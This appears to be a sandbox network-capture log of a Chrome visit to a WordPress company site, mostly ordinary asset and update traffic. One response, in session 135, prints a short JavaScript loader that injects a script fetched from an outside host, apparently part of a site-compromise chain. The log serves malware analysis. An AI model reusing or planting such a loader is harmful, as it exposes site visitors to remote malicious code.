2024-10-07 11:17:44 UTC	881	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/swv/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/services/forming-analysis/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:44 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:44 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:44 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
132	192.168.2.4	50006	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:44 UTC	925	OUT	GET /2016/wp-content/uploads/2015/08/forming-analysis-hero.jpg HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.twbcompany.com/services/forming-analysis/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:44 UTC	234	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 11:17:44 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Wed, 27 Jan 2016 14:52:51 GMT Accept-Ranges: bytes Content-Length: 84111 Content-Type: image/jpeg
2024-10-07 11:17:44 UTC	7958	IN	Data Raw: ff d8 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 32 00 00 ff e1 03 81 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 30 36 37 20 37 39 2e 31 35 37 37 34 37 2c 20 32 30 31 35 2f 30 33 2f 33 30 2d 32 33 3a 34 30 3a 34 32 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d Data Ascii: ExifII*Ducky2http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c067 79.157747, 2015/03/30-23:40:42 "> <rdf:RDF xm
2024-10-07 11:17:44 UTC	8000	IN	Data Raw: 2b ff 00 5a ae be c9 fc 5e 1a 36 57 4e 27 57 fc 89 47 ed a3 06 12 ea 23 80 07 ed a2 ee 16 30 44 a5 4b ea e4 6c 29 4b d8 f6 d3 71 83 36 dc c6 45 88 f4 93 56 f9 2d 70 07 dc b0 c2 35 1d e2 e7 c6 a5 1e e1 f5 0b 9b 0b e4 05 be 95 0f 6d fe f9 55 23 99 1f 65 6f 42 29 c6 5c 79 28 27 eb 6a 78 0c 99 3a e9 94 e3 75 6c 45 f1 a1 14 56 e0 29 b6 08 f0 86 d2 5c c7 cc d8 9f 95 e8 22 51 f7 63 51 f3 6f ad 24 c1 8b 2e cb 6d 2b e9 75 f5 61 71 9d 28 fd 13 70 8c c2 16 36 07 02 c2 de 35 6d ef 48 78 db b0 00 3e 95 bd c0 f7 11 25 c7 0c 18 53 f2 72 35 67 05 27 fb 6f 52 4f fd 78 97 90 2d fd 29 98 76 3b e9 10 c5 26 e0 5b 30 50 13 f2 d5 4e 64 3b 2a 51 be 96 19 dc 1b d3 6d 87 9b e1 09 2f 4e db 28 fd 5d 72 9e 3a 9a c3 e4 b5 31 b0 d9 a9 fd 38 15 4f 3c 49 f1 34 fc 90 38 72 63 52 55 b1 ec Data Ascii: +Z^6WN'WG#0DKl)Kq6EV-p5mU#eoB)\y('jx:ulEV)\"QcQo$.m+uaq(p65mHx>%Sr5g'oROx-)v;&[0PNd;*Qm/N(]r:18O<I48rcRU
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: e1 7a e6 b6 92 b4 89 ed 4a a4 61 81 34 ce c7 71 2e c6 6d 12 ba ac 77 c0 93 8d 73 5a 9a f2 61 d9 5b 34 9a 93 a4 97 6e 19 7d c0 2c c3 3a ab dd 06 80 8d d4 07 d3 98 ab bd b4 fb 69 d0 7e a5 cf 25 17 a0 6e 60 8d 49 31 c6 ce 8d 98 26 b2 4e 30 60 93 4e 2c d2 f9 9f e0 ad 9b 73 17 53 da 16 5b 09 50 79 87 1a e1 ba b7 4d dc ee f7 0b 2c 4d 7d 38 18 da f6 ae cc ec a7 83 72 1f 6d 10 11 c8 72 17 bd fb 68 d2 f4 4d e3 49 ad e4 58 d4 e2 55 40 bd 6d d7 75 47 8f 75 26 fe 55 49 5a 74 c1 c6 f4 ee 99 bd 47 0e cb 61 c4 70 ae af 69 b4 93 71 19 8d 82 83 6e 77 a3 08 7a 6e d4 1f dc 4a 65 6f c3 7a 2a 75 28 95 48 da 42 a9 c8 9e 34 ef d9 6b e6 0c ed 64 f4 ab 7f 30 57 7f b3 cc 35 24 cc 15 79 d8 d3 1d 39 ba 1f 4f 6b 39 32 c8 b9 b3 5b 3a ad dd 6f 37 b3 4e 4c ee 6d 90 03 01 55 d3 0f 6e 6d Data Ascii: zJa4q.mwsZa[4n},:i~%n`I1&N0`N,sS[PyM,M}8rmrhMIXU@muGu&UIZtGapiqnwznJeoz*u(HB4kd0W5$y9Ok92[:o7NLmUnm
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: c5 bd dc 45 10 92 27 3e 53 88 bd 16 a3 99 58 66 8e a9 ac 7b 9b df 74 1d de cc 97 00 34 5c 4d c5 c7 c2 ab c2 c2 0d 9e 5b 9e 40 7f 5a ea b6 1d 5b 6d bb 40 93 00 18 e6 0f 1a 87 51 e8 10 ee 54 cd b5 21 5f 90 ca 85 76 9c 5b 04 2e c8 71 65 1e a5 04 4d 13 ab 44 01 23 f3 52 de e9 4f 2a c6 a9 6e 36 b9 f1 a2 34 13 6c a6 0b 3a e9 b6 17 e0 6a 33 44 c6 5b a2 96 0d 8e 15 6a 3e a6 ba ac 10 33 c8 45 8b 91 c8 0c 3e 95 18 d9 83 02 c6 e7 b7 1a 98 82 40 3c d6 5e d6 35 ad 11 ae 2f 28 c3 f0 82 6a b0 19 0d ba 5f 72 20 f6 c4 52 40 6a 35 61 11 59 10 c6 b7 23 33 ab 0b d0 15 bd b9 0a 2c 4a 2d 91 38 fd 69 27 b0 df 20 4c 06 d8 0b 93 c8 5e a7 14 12 a9 20 a1 00 8c 49 ab 00 65 75 f5 db b8 5a b1 36 a5 88 62 6e 6f c6 a5 d8 9f 24 8a 67 da 7b 6c 4b 48 aa 39 66 68 2c 23 18 02 ce 7b 05 ab a7 Data Ascii: E'>SXf{t4\M[@Z[m@QT!_v[.qeMD#RO*n64l:j3D[j>3E>@<^5/(j_r R@j5aY#3,J-8i' L^ IeuZ6bno$g{lKH9fh,#{
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: c1 9d c5 6e 32 a9 a4 53 31 ba 21 3d b9 7d 6a 7f b8 64 25 63 8d 63 b1 b6 57 34 37 96 57 f5 39 3d 80 d8 78 51 90 c0 c4 f0 06 d3 23 ba c7 85 9c 9c 71 a1 5b 68 b9 b3 c9 dc 2c 2a 50 da 48 de 23 c7 15 ef a5 c7 2e 39 11 42 5b 48 0d ed f7 49 14 83 da 85 57 b5 b1 35 6d 24 d2 85 49 23 72 aa 7d 40 73 aa 25 8a 63 62 14 80 38 9c 3e b5 73 b4 02 6d bb 46 ce ba b3 1a 4d ed 6a c7 ba ab 16 fa 8d 37 a7 23 90 ca 64 16 72 5b bc 93 4b ee 90 58 b2 e1 da 2b 50 c9 12 1b 10 ee 47 33 a4 53 0f 30 2a 74 46 8b da 46 a3 f3 35 86 8c 98 87 32 17 a4 ee 5a c1 54 5c 9c 08 19 d4 ba ac 32 31 0e 6c bc cb 10 2a aa 39 e4 8e 62 0b 60 d9 11 87 d2 9f 76 59 e1 e6 79 d1 0e 64 76 49 59 5b 92 8f a9 f4 7d 97 53 84 45 ba 94 e0 6e ad 10 24 83 f1 c2 a5 d3 ba 54 3d 2b 6c 34 3b ee 14 9b 59 ce 90 3e 0b 4c 64 Data Ascii: n2S1!=}jd%ccW47W9=xQ#q[h,PH#.9B[HIW5m$I#r}@s%cb8>smFMj7#dr[KX+PG3S0tFF52ZT\21l*9b`vYydvIY[}SEn$T=+l4;Y>Ld
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: 3c 5c d2 ab 1f 3f c8 b7 52 e9 6d 11 36 89 42 fd d7 02 f5 4a d0 cc 03 23 1c 7e e9 18 7d 2b d1 07 b7 b8 8e d6 0e a7 96 35 55 bb e8 8e 0f bb 0a 5d 3e f2 9c 2d dd 4e bd bb 32 ba bb 6c dc 34 df b2 3c f6 c6 e5 5c 9b 8e 78 d0 de 24 6b 12 31 e7 c6 af 3a 97 48 f6 e4 32 2b 08 c1 c4 a9 b9 3f 0a aa 29 02 5c 31 76 3d 82 d5 d3 5b ca 94 6c 20 f1 14 37 38 0a 34 24 49 13 44 4d c8 ca 8f ae 21 e9 84 7f ac de f4 1b 37 ba 24 46 d2 38 a0 18 56 8a ef 70 85 c8 b2 c3 31 c0 21 c3 8e 42 a4 60 61 eb 75 4e f3 7f a5 6f 74 1d 65 c4 b5 8f 02 4d 0a d5 a2 73 92 5e 02 69 81 73 91 98 fe 51 6f ad 30 8c 92 44 54 2d f4 e2 03 1b d2 74 6d bc 81 64 03 81 c2 86 81 32 23 71 25 ac a1 63 b7 e1 02 a0 d2 48 fe a7 27 e3 53 96 17 12 90 88 58 1c 6e 2b 0c 12 0f 51 54 fe e2 3e ca 30 19 06 05 32 df ad b6 fc Data Ascii: <\?Rm6BJ#~}+5U]>-N2l4<\x$k1:H2+?)\1v=[l 784$IDM!7$F8Vp1!B`auNoteMs^isQo0DT-tmd2#q%cH'SXn+QT>02
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: d2 e0 35 59 79 2d 87 d2 84 90 4a 1d 94 29 20 1c 1b 85 a8 c2 21 7f d4 75 5b 72 37 3e 14 60 59 0e aa 65 db 90 31 64 c4 5f 3b 50 0d b3 06 c6 99 85 a1 42 34 b3 35 f0 38 00 2a 12 11 14 8c 89 12 8b 62 18 8b 9f 1a 49 e4 3d 44 a4 db 97 b1 45 2c 7f 28 bd 47 da 90 c2 51 86 87 43 75 27 97 6d 32 f3 4b 6c 5c d8 f0 18 7d 28 29 84 81 ad 9e 04 f6 56 8a ce 21 89 40 9b c9 18 b7 b9 26 af ec 1f 69 a8 eb 84 db 4a 6a 3c d8 fd 82 8d b8 d9 ba bb 22 e4 71 17 ca c6 92 6d ae ed 31 58 cb 0e 60 1a 6f c7 66 5d 78 dc 71 66 99 63 6d 16 05 71 f2 8e 15 89 3f bd 6d 4c 4f 7d 0f 6c cc 1a d2 95 5b e0 54 9c 6b 52 c4 90 bd ae c4 e7 60 2c 2d df 52 36 b9 18 06 c7 95 34 c0 4d b7 c3 16 5f 8d 22 9b b4 b8 1e d0 04 71 63 7a 73 6f 31 2e 03 5b 4b 61 86 00 52 7c 8b 4f 91 49 36 4d 2a 82 ea 13 93 31 02 96 Data Ascii: 5Yy-J) !u[r7>`Ye1d_;PB458bI=DE,(GQCu'm2Kl\}()V!@&iJj<"qm1X`of]xqfcmq?mLO}l[TkR`,-R64M_"qczso1.[KaR\|OI6M1
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: 5b 1a de bd b3 b7 d4 ba f6 ad dc fb 1c ac 49 2d ee 23 61 6e 27 0a 2e e6 20 d6 90 b8 51 c4 e7 4e 6e 3a 7b ea d4 1c 9e f3 85 6c 6c f5 ed da 36 18 8c aa dd b4 66 aa c9 e8 54 b7 b0 bf 79 a4 e7 c0 52 b2 ef 44 67 f4 e3 51 6e 27 1a 2c f1 90 4a 01 60 2a bd e3 69 1f db 51 71 d9 8d 5a 2a b0 10 75 19 99 86 a6 c0 f0 18 0a 0e e1 e5 32 5c 12 41 a1 6e 1e 0d 89 1f ba 3a 2f 90 35 71 b3 83 69 be db 09 63 99 58 2e 65 71 b5 53 85 92 de 14 c6 0a 95 86 59 32 bd 1a 3e 9d 23 e6 33 ab fd b4 5b 44 38 23 3f 7e 02 ae 20 8c 32 7e 94 48 8d 90 b0 b9 a8 76 8d 8c ed d9 07 39 b2 e9 47 15 2a 74 b7 1b 7d b5 6b d3 7f 8c 6e b7 32 15 45 0a 97 f5 35 75 7d 33 a0 c8 e5 67 de b1 d3 98 4c af df 5d 2c b1 6d b6 b1 89 11 56 34 03 13 95 61 7e f8 71 5d cc 6d dd 35 6d 67 c4 a9 e9 1f c7 3a 7f 4c 51 24 8d Data Ascii: [I-#an'. QNn:{ll6fTyRDgQn',J`iQqZu2\An:/5qicX.eqSY2>#3[D8#?~ 2~Hv9G*t}kn2E5u}3gL],mV4a~q]m5mg:LQ$
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: 1b 0b 99 5f ee 9d 23 88 51 6a 63 6c c1 b5 46 c6 fa 85 08 c2 57 fc 8c ab de 6e 7e 42 b2 33 14 4d 75 2c c4 7f a4 50 c6 81 30 d0 e5 0f 03 58 16 47 3e 45 27 b4 65 4c 6e 99 a3 21 e3 03 cf 9b 58 5e 95 69 58 e2 ec 49 a1 64 06 51 09 47 89 c8 c7 10 01 b9 1f 2a 00 31 2e 00 33 91 f8 bc a3 c2 a1 1c 9a 18 30 c2 c7 c2 b5 b8 f2 cb 75 c4 36 20 0c 69 c0 c2 7b c5 7d 0a a9 7e 20 63 f3 35 3d 7e f4 2c a5 b5 3a 62 0f 3a 4c ac 96 bb 79 47 36 36 ad 24 d1 c4 de 69 2f cf 48 c3 e6 69 c0 d2 66 de 4b 0c 3e 22 81 21 d6 6e 82 ff 00 db 8d 46 7d e4 30 b9 55 50 df 99 8d e9 09 ba a1 20 8d 56 03 f0 e0 3c 29 a1 aa 32 c9 d9 da 35 77 22 37 8f 02 58 f0 f8 52 f2 f5 4d bc 62 c5 cc 87 f2 8b 0f 99 aa 76 de b3 ea 50 70 6c f1 a4 b4 ca c6 c0 1b 8e 14 e0 d1 75 ad cb 39 fa cb 1c 21 40 3b 4e 27 c6 91 dc Data Ascii: _#QjclFWn~B3Mu,P0XG>E'eLn!X^iXIdQG*1.30u6 i{}~ c5=~,:b:LyG66$i/HifK>"!nF}0UP V<)25w"7XRMbvPplu9!@;N'
2024-10-07 11:17:45 UTC	8000	IN	Data Raw: ed 43 73 9d 71 93 8f 7f e3 bb 74 bb 47 aa 53 c3 85 06 5e 93 bc 48 0b c7 1e 92 32 16 be 15 da 36 d5 33 53 6a 2e d7 6e c0 95 27 52 91 c6 a9 f6 d9 29 79 f7 0a 77 37 68 c6 78 3c ca 5d b6 fa d6 93 57 76 54 03 04 83 35 c7 c6 bd 48 f4 f4 b9 f7 55 02 f6 e7 41 1d 27 a7 ea 2d 22 fb 83 80 02 c2 ad 77 ae 3e 81 fb 6d fe 4a 3d d9 e7 08 93 44 ea f2 29 50 70 bd ab 53 c2 e2 6b 22 96 0d 8d c5 7a 6b 6d 36 6d 17 b2 36 e9 a7 81 61 72 29 2d d7 f1 ed b4 90 86 8c 95 e7 47 ee 53 95 13 82 ab db 56 9e f1 9c 1e 7b fb 69 47 f9 34 a0 fc c7 1f 95 62 ac 09 9b 34 87 86 91 61 e3 5d 93 7f 16 8c 03 ed b8 b9 ce f4 31 fc 58 01 7d 62 f5 7f b6 bc 8b f7 d0 e6 54 96 db 96 45 00 a7 a4 36 36 a0 96 96 45 f3 39 1d 83 01 e1 5d c6 db f8 c4 37 2a 5b 02 31 b0 c2 a0 7f 89 46 ac 6f 2a aa 8f 4e ac fe 42 a7 Data Ascii: CsqtGS^H263Sj.n'R)yw7hx<]WvT5HUA'-"w>mJ=D)PpSk"zkm6m6ar)-GSV{iG4b4a]1X}bTE66E9]7[1FoNB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
133	192.168.2.4	50007	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:44 UTC	877	OUT	GET /2016/wp-content/plugins/contact-form-7/includes/js/index.js?ver=5.8.7 HTTP/1.1 Host: www.twbcompany.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/services/forming-analysis/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga=GA1.2.1184566094.1728299822; _gid=GA1.2.2062370088.1728299822; _gat=1; browserupdateorg=pause; _gd_visitor=8e0d6653-ce25-42b7-87b1-ae8b6ff31da4; _gd_session=f8a006f2-8371-48b7-8d48-7be7ede44238; _ga_E694J4CV2M=GS1.2.1728299823.1.1.1728299857.0.0.0
2024-10-07 11:17:44 UTC	162	IN	HTTP/1.1 409 Conflict Date: Mon, 07 Oct 2024 11:17:44 GMT Server: Apache Content-Length: 83 Connection: close Content-Type: text/html; charset=iso-8859-1
2024-10-07 11:17:44 UTC	83	IN	Data Raw: 3c 73 63 72 69 70 74 3e 64 6f 63 75 6d 65 6e 74 2e 63 6f 6f 6b 69 65 20 3d 20 22 68 75 6d 61 6e 73 5f 32 31 39 30 39 3d 31 22 3b 20 64 6f 63 75 6d 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 2e 72 65 6c 6f 61 64 28 74 72 75 65 29 3c 2f 73 63 72 69 70 74 3e Data Ascii: <script>document.cookie = "humans_21909=1"; document.location.reload(true)</script>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
134	192.168.2.4	50008	185.76.79.50	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:44 UTC	572	OUT	GET /SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY= HTTP/1.1 Host: virtual.urban-orthodontics.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.twbcompany.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:47 UTC	165	IN	HTTP/1.1 404 Not Found Server: nginx Date: Mon, 07 Oct 2024 11:17:47 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-10-07 11:17:47 UTC	209	IN	Data Raw: 63 62 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a Data Ascii: cb<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>
2024-10-07 11:17:47 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
135	192.168.2.4	50009	77.232.36.155	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:45 UTC	382	OUT	GET /2xIsQSDP8CyeXrv78zk9FGV8lZIj9SXKVc-Mpx3O5H0 HTTP/1.1 Host: blacksaltys.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-07 11:17:45 UTC	299	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 11:17:45 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 226 Connection: close Cache-Control: no-cache, no-store, must-revalidate Expires: Mon, 07 Oct 2024 11:17:45 GMT Vary: Accept-Encoding Access-Control-Allow-Origin: *
2024-10-07 11:17:45 UTC	226	IN	Data Raw: 3b 28 66 75 6e 63 74 69 6f 6e 28 75 2c 71 2c 79 2c 64 2c 6e 29 7b 64 3d 75 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 71 29 3b 6e 3d 75 2e 67 65 74 45 6c 65 6d 65 6e 74 73 42 79 54 61 67 4e 61 6d 65 28 71 29 5b 30 5d 3b 64 2e 61 73 79 6e 63 3d 31 3b 64 2e 73 72 63 3d 79 3b 6e 2e 70 61 72 65 6e 74 4e 6f 64 65 2e 69 6e 73 65 72 74 42 65 66 6f 72 65 28 64 2c 6e 29 3b 7d 29 28 64 6f 63 75 6d 65 6e 74 2c 27 73 63 72 69 70 74 27 2c 27 68 74 74 70 73 3a 2f 2f 76 69 72 74 75 61 6c 2e 75 72 62 61 6e 2d 6f 72 74 68 6f 64 6f 6e 74 69 63 73 2e 63 6f 6d 2f 53 7a 6c 70 6e 54 41 62 43 76 51 76 47 31 4f 76 66 51 70 46 76 7a 6b 62 55 37 38 78 51 41 58 37 4f 31 73 66 76 7a 59 3d 27 29 Data Ascii: ;(function(u,q,y,d,n){d=u.createElement(q);n=u.getElementsByTagName(q)[0];d.async=1;d.src=y;n.parentNode.insertBefore(d,n);})(document,'script','https://virtual.urban-orthodontics.com/SzlpnTAbCvQvG1OvfQpFvzkbU78xQAX7O1sfvzY=')

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
136	192.168.2.4	50010	20.12.23.50	443

Timestamp	Bytes transferred	Direction	Data
2024-10-07 11:17:45 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=es9pCcgFWrmLRaz&MD=raKnuGEA HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-07 11:17:46 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "vic+p1MiJJ+/WMnK08jaWnCBGDfvkGRzPk9f8ZadQHg=_1440" MS-CorrelationId: ba1b2865-bee8-4a13-b034-690e471a41dd MS-RequestId: c0d74ad7-b9e8-4c27-951c-405196ac2e7b MS-CV: 8Q+yP5xHcEmJ99Fr.0 X-Microsoft-SLSClientCache: 1440 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 07 Oct 2024 11:17:44 GMT Connection: close Content-Length: 30005
2024-10-07 11:17:46 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-10-07 11:17:46 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
137	192.168.2.4	50020	192.185.125.111	443	4176	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
